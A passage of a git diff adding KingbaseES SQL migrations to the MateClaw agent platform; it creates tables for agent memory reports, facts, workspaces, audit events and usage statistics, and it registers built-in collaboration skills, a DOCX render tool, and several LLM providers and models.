b/mateclaw-server/src/main/resources/db/migration/kingbase/V26__dream_report.sql @@ -0,0 +1,24 @@ +-- Dream v2: structured dream report (rfc-035 §4.4) +CREATE TABLE IF NOT EXISTS mate_dream_report ( + id BIGINT PRIMARY KEY, + agent_id BIGINT NOT NULL, + mode VARCHAR(32) NOT NULL, + topic VARCHAR(256), + trigger_source VARCHAR(32) NOT NULL, + triggered_by VARCHAR(64), + started_at TIMESTAMP NOT NULL, + finished_at TIMESTAMP NOT NULL, + candidate_count INT NOT NULL, + promoted_count INT NOT NULL, + rejected_count INT NOT NULL, + memory_diff TEXT, + llm_reason TEXT, + status VARCHAR(16) NOT NULL, + error_message TEXT, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted SMALLINT DEFAULT 0 +); + +CREATE INDEX idx_dream_agent_time ON mate_dream_report(agent_id, started_at DESC); +CREATE INDEX idx_dream_agent_mode ON mate_dream_report(agent_id, mode, started_at DESC); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V27__memory_recall_review_fields.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V27__memory_recall_review_fields.sql new file mode 100644 index 00000000..a561894a --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V27__memory_recall_review_fields.sql @@ -0,0 +1,6 @@ +-- Dream v2: candidate state machine fields (rfc-035 4.1.4) +-- Phase 1 writes values only; filtering enabled in Phase 2. +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_memory_recall ADD COLUMN IF NOT EXISTS review_count INT DEFAULT 0; +ALTER TABLE mate_memory_recall ADD COLUMN IF NOT EXISTS last_reviewed_at TIMESTAMP; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V28__morning_card_seen.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V28__morning_card_seen.sql new file mode 100644 index 00000000..7a709a7d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V28__morning_card_seen.sql @@ -0,0 +1,12 @@ +-- Dream v2 Phase 2b: Morning Card seen state per (user, agent) +-- Ref: rfc-034 F5 — DO NOT add to mate_user; use separate table +CREATE TABLE IF NOT EXISTS mate_morning_card_seen ( + id BIGINT PRIMARY KEY , + user_id BIGINT NOT NULL, + agent_id BIGINT NOT NULL, + last_seen_at TIMESTAMP NOT NULL, + last_report_id BIGINT, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_user_agent ON mate_morning_card_seen (user_id, agent_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V29__memory_fact_projection.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V29__memory_fact_projection.sql new file mode 100644 index 00000000..af833ad2 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V29__memory_fact_projection.sql @@ -0,0 +1,49 @@ +-- Dream v2 Phase 3: Fact projection tables (read-only derived from canonical) +-- Ref: rfc-038 §3.3 + +CREATE TABLE IF NOT EXISTS mate_fact ( + id BIGINT PRIMARY KEY , + agent_id BIGINT NOT NULL, + source_ref VARCHAR(512) NOT NULL, + category VARCHAR(64), + subject VARCHAR(256), + predicate VARCHAR(256), + object_value TEXT, + confidence DOUBLE PRECISION DEFAULT 1.0, + trust DOUBLE PRECISION DEFAULT 0.5, + last_used_at TIMESTAMP, + use_count INT DEFAULT 0, + extracted_by VARCHAR(32) DEFAULT 'pattern', + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted SMALLINT DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_fact_agent_source ON mate_fact (agent_id, source_ref); +CREATE INDEX IF NOT EXISTS idx_fact_agent_subject ON mate_fact (agent_id, subject); +CREATE INDEX IF NOT EXISTS idx_fact_agent ON mate_fact (agent_id, deleted); + +CREATE TABLE IF NOT EXISTS mate_fact_entity_ref ( + id BIGINT PRIMARY KEY , + fact_id BIGINT NOT NULL, + entity_name VARCHAR(256) NOT NULL, + entity_type VARCHAR(64), + role VARCHAR(32) NOT NULL, + create_time TIMESTAMP NOT NULL +); +CREATE INDEX IF NOT EXISTS idx_fact_ref_entity ON mate_fact_entity_ref (entity_name, entity_type); +CREATE INDEX IF NOT EXISTS idx_fact_ref_fact ON mate_fact_entity_ref (fact_id); + +CREATE TABLE IF NOT EXISTS mate_fact_contradiction ( + id BIGINT PRIMARY KEY , + agent_id BIGINT NOT NULL, + fact_a_id BIGINT NOT NULL, + fact_b_id BIGINT NOT NULL, + description TEXT, + resolution VARCHAR(32), + resolved_at TIMESTAMP, + resolved_by VARCHAR(64), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted SMALLINT DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_contradiction_agent ON mate_fact_contradiction (agent_id, resolution); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V2__workspace_base_path.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V2__workspace_base_path.sql new file mode 100644 index 00000000..785c104e --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V2__workspace_base_path.sql @@ -0,0 +1,227 @@ +-- V2: Upgrade schema for databases created before Flyway was introduced. +-- MySQL does NOT support ALTER TABLE ... ADD COLUMN IF NOT EXISTS (MariaDB-only). +-- We use INFORMATION_SCHEMA + dynamic SQL as an idempotent replacement so this migration +-- is safe on BOTH: (a) fresh MySQL installs whose V1 baseline already contains the columns, +-- and (b) legacy installs bootstrapped from the old schema.sql that predates those columns. + +CREATE TABLE IF NOT EXISTS mate_workspace ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + slug VARCHAR(64) NOT NULL, + description VARCHAR(256), + owner_id BIGINT, + settings_json TEXT, + base_path VARCHAR(512), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_workspace_slug ON mate_workspace (slug); + +-- mate_workspace.base_path (legacy upgrade path) +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_workspace' AND column_name = 'base_path' + ) THEN + ALTER TABLE mate_workspace ADD COLUMN base_path VARCHAR(512); + END IF; +END $$; + +CREATE TABLE IF NOT EXISTS mate_workspace_member ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT NOT NULL, + user_id BIGINT NOT NULL, + role VARCHAR(32) NOT NULL DEFAULT 'member', + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_ws_member_workspace ON mate_workspace_member (workspace_id); +CREATE INDEX IF NOT EXISTS idx_ws_member_user ON mate_workspace_member (user_id); + +-- workspace_id on pre-existing domain tables +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_agent' AND column_name = 'workspace_id' + ) THEN + ALTER TABLE mate_agent ADD COLUMN workspace_id BIGINT NOT NULL DEFAULT 1; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_channel' AND column_name = 'workspace_id' + ) THEN + ALTER TABLE mate_channel ADD COLUMN workspace_id BIGINT NOT NULL DEFAULT 1; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_conversation' AND column_name = 'workspace_id' + ) THEN + ALTER TABLE mate_conversation ADD COLUMN workspace_id BIGINT NOT NULL DEFAULT 1; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_knowledge_base' AND column_name = 'workspace_id' + ) THEN + ALTER TABLE mate_wiki_knowledge_base ADD COLUMN workspace_id BIGINT NOT NULL DEFAULT 1; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_tool' AND column_name = 'workspace_id' + ) THEN + ALTER TABLE mate_tool ADD COLUMN workspace_id BIGINT NOT NULL DEFAULT 1; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'workspace_id' + ) THEN + ALTER TABLE mate_skill ADD COLUMN workspace_id BIGINT NOT NULL DEFAULT 1; + END IF; +END $$; + +CREATE TABLE IF NOT EXISTS mate_workspace_file ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + filename VARCHAR(256) NOT NULL, + content TEXT, + file_size BIGINT NOT NULL DEFAULT 0, + enabled BOOLEAN NOT NULL DEFAULT FALSE, + sort_order INT NOT NULL DEFAULT 0, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_workspace_file_agent ON mate_workspace_file (agent_id); + +CREATE TABLE IF NOT EXISTS mate_usage_daily ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT NOT NULL, + agent_id BIGINT NOT NULL, + stat_date DATE NOT NULL, + conversation_count INT NOT NULL DEFAULT 0, + message_count INT NOT NULL DEFAULT 0, + tool_call_count INT NOT NULL DEFAULT 0, + prompt_tokens BIGINT NOT NULL DEFAULT 0, + completion_tokens BIGINT NOT NULL DEFAULT 0, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_usage_daily ON mate_usage_daily (workspace_id, agent_id, stat_date); + +CREATE TABLE IF NOT EXISTS mate_audit_event ( + id BIGINT NOT NULL PRIMARY KEY, + workspace_id BIGINT, + user_id BIGINT, + username VARCHAR(64), + action VARCHAR(64) NOT NULL, + resource_type VARCHAR(64), + resource_id VARCHAR(128), + detail TEXT, + ip_address VARCHAR(64), + create_time TIMESTAMP NOT NULL +); +CREATE INDEX IF NOT EXISTS idx_audit_ws_time ON mate_audit_event (workspace_id, create_time); + +-- model provider OAuth columns +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_provider' AND column_name = 'auth_type' + ) THEN + ALTER TABLE mate_model_provider ADD COLUMN auth_type VARCHAR(16) NOT NULL DEFAULT 'api_key'; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_provider' AND column_name = 'oauth_access_token' + ) THEN + ALTER TABLE mate_model_provider ADD COLUMN oauth_access_token TEXT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_provider' AND column_name = 'oauth_refresh_token' + ) THEN + ALTER TABLE mate_model_provider ADD COLUMN oauth_refresh_token TEXT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_provider' AND column_name = 'oauth_expires_at' + ) THEN + ALTER TABLE mate_model_provider ADD COLUMN oauth_expires_at BIGINT; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_provider' AND column_name = 'oauth_account_id' + ) THEN + ALTER TABLE mate_model_provider ADD COLUMN oauth_account_id VARCHAR(128); + END IF; +END $$; + +CREATE TABLE IF NOT EXISTS mate_agent_skill ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + skill_id BIGINT NOT NULL, + create_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE TABLE IF NOT EXISTS mate_agent_tool ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + tool_name VARCHAR(128) NOT NULL, + create_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); + +CREATE TABLE IF NOT EXISTS mate_memory_recall ( + id BIGINT NOT NULL PRIMARY KEY, + agent_id BIGINT NOT NULL, + filename VARCHAR(256) NOT NULL, + content TEXT, + tags VARCHAR(512), + score DOUBLE PRECISION NOT NULL DEFAULT 0.0, + last_recalled_at TIMESTAMP, + promoted BOOLEAN NOT NULL DEFAULT FALSE, + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL, + deleted INT NOT NULL DEFAULT 0 +); +CREATE INDEX IF NOT EXISTS idx_memory_recall_agent ON mate_memory_recall (agent_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V30__register_collab_skills.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V30__register_collab_skills.sql new file mode 100644 index 00000000..8433442a --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V30__register_collab_skills.sql @@ -0,0 +1,60 @@ +-- Register 4 collaboration skills introduced in RFC-044. +-- These were previously only in seed data files; this migration ensures they exist +-- in all environments (including existing installs that have already run seed data). +-- Ref: rfc-044-skill-md-completion-2026-04-23 + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000016, 'make_plan', '当任务需要多步拆解或不确定执行路径时,向更强 Agent 请求一份分步可落地的执行计划,由当前 Agent 自己执行。', 'builtin', '🗺️', '1.3.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'plan,delegate,agent,collaboration', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET description = EXCLUDED.description, + skill_type = EXCLUDED.skill_type, + icon = EXCLUDED.icon, + version = EXCLUDED.version, + author = EXCLUDED.author, + config_json = EXCLUDED.config_json, + enabled = EXCLUDED.enabled, + builtin = EXCLUDED.builtin, + tags = EXCLUDED.tags, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000017, 'chat_with_agent', '当需要咨询其他 Agent、寻求帮助或用户明确要求某个 Agent 参与时,使用本技能进行单次或并行委托。', 'builtin', '💬', '1.2.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'agent,chat,collaborate,delegate', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET description = EXCLUDED.description, + skill_type = EXCLUDED.skill_type, + icon = EXCLUDED.icon, + version = EXCLUDED.version, + author = EXCLUDED.author, + config_json = EXCLUDED.config_json, + enabled = EXCLUDED.enabled, + builtin = EXCLUDED.builtin, + tags = EXCLUDED.tags, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000018, 'channel_message', '当需要主动向用户、会话或渠道单向推送消息时使用。任务完成通知、定时提醒、异步结果回推等场景。', 'builtin', '📤', '1.3.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'channel,message,push,notify,dingtalk,feishu', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET description = EXCLUDED.description, + skill_type = EXCLUDED.skill_type, + icon = EXCLUDED.icon, + version = EXCLUDED.version, + author = EXCLUDED.author, + config_json = EXCLUDED.config_json, + enabled = EXCLUDED.enabled, + builtin = EXCLUDED.builtin, + tags = EXCLUDED.tags, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000019, 'multi_agent_collaboration', '当任务需要多个 Agent 的专业能力协同完成时,编排多 Agent 并行或串行协作,整合各方结果。', 'builtin', '🤝', '1.4.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'multi-agent,collaboration,orchestration,parallel', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET description = EXCLUDED.description, + skill_type = EXCLUDED.skill_type, + icon = EXCLUDED.icon, + version = EXCLUDED.version, + author = EXCLUDED.author, + config_json = EXCLUDED.config_json, + enabled = EXCLUDED.enabled, + builtin = EXCLUDED.builtin, + tags = EXCLUDED.tags, + update_time = EXCLUDED.update_time, + deleted = EXCLUDED.deleted; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V31__register_docx_render_tool.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V31__register_docx_render_tool.sql new file mode 100644 index 00000000..34cf800b --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V31__register_docx_render_tool.sql @@ -0,0 +1,5 @@ +-- V31: Register DocxRenderTool as built-in tool (RFC-045) +-- Idempotent: ON DUPLICATE KEY UPDATE keeps the row in sync if it already exists. +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000019, 'DocxRenderTool', 'DOCX Render', 'Render Markdown directly into a .docx and return a one-time download link. In-process Apache POI implementation, no Node.js subprocess; supports headings, bold, lists, tables. Preferred tool for creating new documents.', 'builtin', 'docxRenderTool', '📝', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, update_time=EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V32__bailian_team_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V32__bailian_team_provider.sql new file mode 100644 index 00000000..a693903b --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V32__bailian_team_provider.sql @@ -0,0 +1,24 @@ +-- V32: Register Aliyun Bailian Token Plan provider and models +-- OpenAI-compatible endpoint for team subscription users. +-- freeze_url = TRUE: the endpoint is plan-specific and must not be overridden. + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('bailian-team', '百炼 Token Plan', 'sk-', 'OpenAIChatModel', '', 'https://token-plan.cn-beijing.maas.aliyuncs.com/compatible-mode/v1', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +-- Chat models +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES +(1000000400, 'Qwen 3.6 Plus', 'bailian-team', 'qwen3.6-plus', '百炼团队套餐 — 千问旗舰推理模型,支持视觉理解与文本生成', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000401, 'DeepSeek V3.2', 'bailian-team', 'deepseek-v3.2', '百炼团队套餐 — DeepSeek 最新推理模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000402, 'GLM-5', 'bailian-team', 'glm-5', '百炼团队套餐 — 智谱 GLM-5 文本生成模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, model_type=EXCLUDED.model_type, update_time=EXCLUDED.update_time; + +-- Image generation models (temperature/max_tokens/top_p not applicable) +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES +(1000000403, 'Qwen Image 2.0', 'bailian-team', 'qwen-image-2.0', '百炼团队套餐 — 千问图片生成模型', NULL, NULL, NULL, TRUE, TRUE, FALSE, 'image', NOW(), NOW(), 0), +(1000000404, 'Qwen Image 2.0 Pro', 'bailian-team', 'qwen-image-2.0-pro', '百炼团队套餐 — 千问图片生成旗舰模型', NULL, NULL, NULL, TRUE, TRUE, FALSE, 'image', NOW(), NOW(), 0), +(1000000405, 'Wan 2.7 Image', 'bailian-team', 'wan2.7-image', '百炼团队套餐 — 万相图片生成模型', NULL, NULL, NULL, TRUE, TRUE, FALSE, 'image', NOW(), NOW(), 0), +(1000000406, 'Wan 2.7 Image Pro', 'bailian-team', 'wan2.7-image-pro', '百炼团队套餐 — 万相图片生成旗舰模型', NULL, NULL, NULL, TRUE, TRUE, FALSE, 'image', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, model_type=EXCLUDED.model_type, update_time=EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V33__expand_api_key_column.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V33__expand_api_key_column.sql new file mode 100644 index 00000000..13cca308 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V33__expand_api_key_column.sql @@ -0,0 +1,3 @@ +-- V33: Expand mate_model_provider.api_key from VARCHAR(256) to VARCHAR(512) +-- Bailian Token Plan keys exceed 256 chars (observed: 298 chars). +ALTER TABLE mate_model_provider ALTER COLUMN api_key TYPE VARCHAR(512); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V34__siliconflow_opencode_providers.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V34__siliconflow_opencode_providers.sql new file mode 100644 index 00000000..4845cc2d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V34__siliconflow_opencode_providers.sql @@ -0,0 +1,47 @@ +-- V34: Add SiliconFlow (CN + INTL) and OpenCode providers with preset models +-- SiliconFlow supports model discovery; preset models cover the most popular ones. +-- OpenCode is a free-tier provider with two fixed models. + +-- ── Providers ────────────────────────────────────────────────────────────── +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('siliconflow-cn', '硅基流动 (China)', 'sk-', 'OpenAIChatModel', '', 'https://api.siliconflow.cn/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('siliconflow-intl', '硅基流动 (International)', 'sk-', 'OpenAIChatModel', '', 'https://api.siliconflow.com/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('opencode', 'OpenCode', '', 'OpenAIChatModel', '', 'https://opencode.ai/zen/v1', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, update_time=EXCLUDED.update_time; + +-- ── SiliconFlow CN — preset popular models ───────────────────────────────── +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES +(1000000500, 'DeepSeek V3', 'siliconflow-cn', 'deepseek-ai/DeepSeek-V3', '硅基流动 — DeepSeek V3,综合能力强,有免费额度', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000501, 'DeepSeek R1', 'siliconflow-cn', 'deepseek-ai/DeepSeek-R1', '硅基流动 — DeepSeek R1 推理模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000502, 'Qwen3 235B A22B', 'siliconflow-cn', 'Qwen/Qwen3-235B-A22B', '硅基流动 — 千问3旗舰 MoE 模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000503, 'Qwen3 30B A3B', 'siliconflow-cn', 'Qwen/Qwen3-30B-A3B', '硅基流动 — 千问3高性价比 MoE 模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000504, 'GLM-4 9B Chat', 'siliconflow-cn', 'THUDM/glm-4-9b-chat', '硅基流动 — 智谱 GLM-4 9B,免费可用', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000505, 'DeepSeek V3 Pro', 'siliconflow-cn', 'Pro/deepseek-ai/DeepSeek-V3', '硅基流动 Pro — DeepSeek V3 Pro 优先调度版', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000506, 'DeepSeek R1 Pro', 'siliconflow-cn', 'Pro/deepseek-ai/DeepSeek-R1', '硅基流动 Pro — DeepSeek R1 推理 Pro 优先调度版', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, model_type=EXCLUDED.model_type, update_time=EXCLUDED.update_time; + +-- ── SiliconFlow INTL — same preset models via international endpoint ──────── +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES +(1000000510, 'DeepSeek V3', 'siliconflow-intl', 'deepseek-ai/DeepSeek-V3', 'SiliconFlow INTL — DeepSeek V3, strong general capability', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000511, 'DeepSeek R1', 'siliconflow-intl', 'deepseek-ai/DeepSeek-R1', 'SiliconFlow INTL — DeepSeek R1 reasoning model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000512, 'Qwen3 235B A22B', 'siliconflow-intl', 'Qwen/Qwen3-235B-A22B', 'SiliconFlow INTL — Qwen3 flagship MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000513, 'Qwen3 30B A3B', 'siliconflow-intl', 'Qwen/Qwen3-30B-A3B', 'SiliconFlow INTL — Qwen3 efficient MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000514, 'GLM-4 9B Chat', 'siliconflow-intl', 'THUDM/glm-4-9b-chat', 'SiliconFlow INTL — Zhipu GLM-4 9B, free tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000515, 'DeepSeek V3 Pro', 'siliconflow-intl', 'Pro/deepseek-ai/DeepSeek-V3', 'SiliconFlow INTL Pro — DeepSeek V3 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000516, 'DeepSeek R1 Pro', 'siliconflow-intl', 'Pro/deepseek-ai/DeepSeek-R1', 'SiliconFlow INTL Pro — DeepSeek R1 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, model_type=EXCLUDED.model_type, update_time=EXCLUDED.update_time; + +-- ── OpenCode — free public models ────────────────────────────────────────── +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES +(1000000520, 'Big Pickle', 'opencode', 'big-pickle', 'OpenCode 免费模型 — Big Pickle', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000521, 'Nemotron 3 Super Free', 'opencode', 'nemotron-3-super-free', 'OpenCode 免费模型 — Nemotron 3 Super', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, update_time=EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V35__skill_security_scan_result.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V35__skill_security_scan_result.sql new file mode 100644 index 00000000..1d7a7939 --- /dev/null +++ 